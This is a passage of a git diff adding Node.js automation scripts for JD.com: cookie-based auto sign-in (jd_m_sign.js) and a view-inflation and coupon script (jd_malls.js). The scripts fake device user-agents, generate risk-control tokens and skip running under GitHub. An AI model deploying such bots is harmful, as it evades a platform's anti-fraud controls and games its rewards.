i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_m_sign.js b/jd_m_sign.js new file mode 100644 index 0000000..d1e988f --- /dev/null +++ b/jd_m_sign.js @@ -0,0 +1,231 @@ + +/* +京东通天塔--签到 +脚本更新时间:2021-12-17 14:20 +脚本兼容: Node.js +=========================== +[task_local] +#京东通天塔--签到 +3 1,11 * * * jd_m_sign.js, tag=京东通天塔--签到, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + */ + +const $ = new Env('京东通天塔--签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = ''; +$.shareCodes = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdsign(); + // await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function jdsign() { + try { + console.log(`签到开始........`) + await getInfo("https://pro.m.jd.com/mall/active/3S28janPLYmtFxypu37AYAGgivfp/index.html");//拍拍二手签到 + await $.wait(2000) + await getInfo("https://pro.m.jd.com/mall/active/kPM3Xedz1PBiGQjY4ZYGmeVvrts/index.html");//陪伴 + await $.wait(2000) + await getInfo("https://pro.m.jd.com/mall/active/3SC6rw5iBg66qrXPGmZMqFDwcyXi/index.html");//京东图书 + await $.wait(2000) + await getInfo("https://prodev.m.jd.com/mall/active/412SRRXnKE1Q4Y6uJRWVT6XhyseG/index.html");//京东服装 +// await getInfo("https://pro.m.jd.com/mall/active/ZrH7gGAcEkY2gH8wXqyAPoQgk6t/index.html");//箱包签到 +// await $.wait(1000) +// await getInfo("https://pro.m.jd.com/mall/active/4RXyb1W4Y986LJW8ToqMK14BdTD/index.html");//鞋靴馆签到 + +// await $.wait(1000) +// await getInfo("https://pro.m.jd.com/mall/active/3joSPpr7RgdHMbcuqoRQ8HbcPo9U/index.html");//生活特权签到 + } catch (e) { + $.logErr(e) + } + +} + +async function getInfo(url) { + return new Promise(resolve => { + $.get({ + url, + headers: { + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)' + } + }, async (err, resp, data) => { + try { + $.encryptProjectId = resp.body.match(/"encryptProjectId\\":\\"(.*?)\\"/)[1]; + $.encryptAssignmentId = resp.body.match(/"encryptAssignmentId\\":\\"(.*?)\\"/)[1]; + await doInteractiveAssignment($.encryptProjectId, $.encryptAssignmentId); + resolve(); + } catch (e) { + console.log(e) + } + }) + }) +} + +// 签到 +async function doInteractiveAssignment(encryptProjectId, AssignmentId) { + return new Promise(async (resolve) => { + $.post(taskUrl("doInteractiveAssignment", { "encryptProjectId": encryptProjectId, "encryptAssignmentId": AssignmentId, "sourceCode": "aceaceqingzhan", "itemId": "1", "actionType": "", "completionFlag": "true", "ext": {} }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.subCode == '0' && data.rewardsInfo) { + // console.log(data.rewardsInfo); + if (data.rewardsInfo.successRewards['3'] && data.rewardsInfo.successRewards['3'].length != 0) { + console.log(`${data.rewardsInfo.successRewards['3'][0].rewardName},获得${data.rewardsInfo.successRewards['3'][0].quantity}京豆`); + } else if (data.rewardsInfo.failRewards.length != 0) { + console.log(`失败:${data.rewardsInfo.failRewards[0].msg}`); + } + } else if (data.subCode == '1403' || data.subCode == '1703') { + console.log(data.msg); + } else { + console.log(data.msg); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURI(JSON.stringify(body))}&appid=babelh5&sign=11&t=${(new Date).getTime()}`, + headers: { + 'Host': 'api.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://pro.m.jd.com', + 'Accept-Language': 'zh-cn', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://pro.m.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_malls.js b/jd_malls.js new file mode 100644 index 0000000..d642f1c --- /dev/null +++ b/jd_malls.js @@ -0,0 +1,3337 @@ +/* +逛京东会场 + +只能刷浏览量,其他未知,测试脚本 +只能刷浏览量,其他未知,测试脚本 +只能刷浏览量,其他未知,测试脚本 + +变量格式 ACT_URL="https://xxx.mall.json" +参考文件 docker文件里里面 mall.json + +10 0,20 * * * jd_malls.js +*/ +const $ = new Env("逛会场领卷"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +let cookiesArr = [], cookie; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") + console.log = () => {}; + if (process.env.ACT_URL && process.env.ACT_URL === '') console.log = () => {}; + actURL = process.env.ACT_URL || 'https://raw.githubusercontent.com/okyyds/yyds/master/docker/mall.json' +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + $.getCodeListerr = false; + mallActiveList = await getCodeList(actURL) + if ($.getCodeListerr === false) { + mallActiveList = await getCodeList('https://gitee.com/fatelight/code/raw/master/mall.json') + } + if ($.getCodeListerr === true) { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ""; + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue; + } + for (let key of mallActiveList) { + if (Date.now() < key.time) { + await main(key.type,key.d); + await $.wait(1000) + } + } + + } + } + } + +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function main(urlID,code) { + let userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); + $.UA = `jdapp;iPhone;10.2.0;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460622;appBuild/167853;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;`; + $.max = false; + $.hotFlag = false; + $.code = code; + for (let i = 0; i < 1 && !$.max; i++) { + $.newCookie = ""; + $.url1 = ""; + $.url2 = ""; + $.eid = ""; + await getInfo1(); + if (!$.url1) { + console.log(`${userName},初始化1失败,可能黑号`); + $.hotFlag = true; + break; + } + await getInfo2(urlID); + if (!$.url2) { + console.log(`${userName},初始化2失败,可能黑号`); + $.hotFlag = true; + break; + } + $.actId = ($.url2.match(/mall\/active\/([^/]+)\/index\.html/) && $.url2.match(/mall\/active\/([^/]+)\/index\.html/)[1]); + let arr = getBody($.UA, $.url2); + await getEid(arr); + console.log(`活动ID :` + $.actId); + await $.wait(1000); + } +} + +function getEid(arr) { + return new Promise((resolve) => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA, + }, + }; + $.post(options, async (err, resp, data) => { + try { + if (err) { + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid; + } else { + console.log(`京豆api返回数据为空,请检查自身原因`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", + a = t.length, + n = ""; + for (i = 0; i < e; i++) n += t.charAt(Math.floor(Math.random() * a)); + return n; +} + +async function getCoupons() { + return new Promise((resolve) => { + let opts = { + url: `https://api.m.jd.com/api?functionId=getUnionFreeCoupon&appid=u&loginType=2&_=${Date.now()}&body=${encodeURIComponent(JSON.stringify({"couponUrl":$.couponUrl,"source":20118}))}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Origin": "https://prodev.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://prodev.m.jd.com/", + "Cookie": `${cookie} ${$.newCookie}` + + } + }; + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + let res = $.toObj(data, data); + if (typeof res == "object") { + if (res.msg) { + console.log("异常:" + res.msg); + } + if (res.msg.indexOf("上限") !== -1 || res.msg.indexOf("未登录") !== -1) { + $.max = true; + } + if (res.code == 200 && res.data) { + if (res.data.couponType == 2) { + console.log(`获得红包:${res.data.discount || 0}元`); + } + } + } else { + console.log(data); 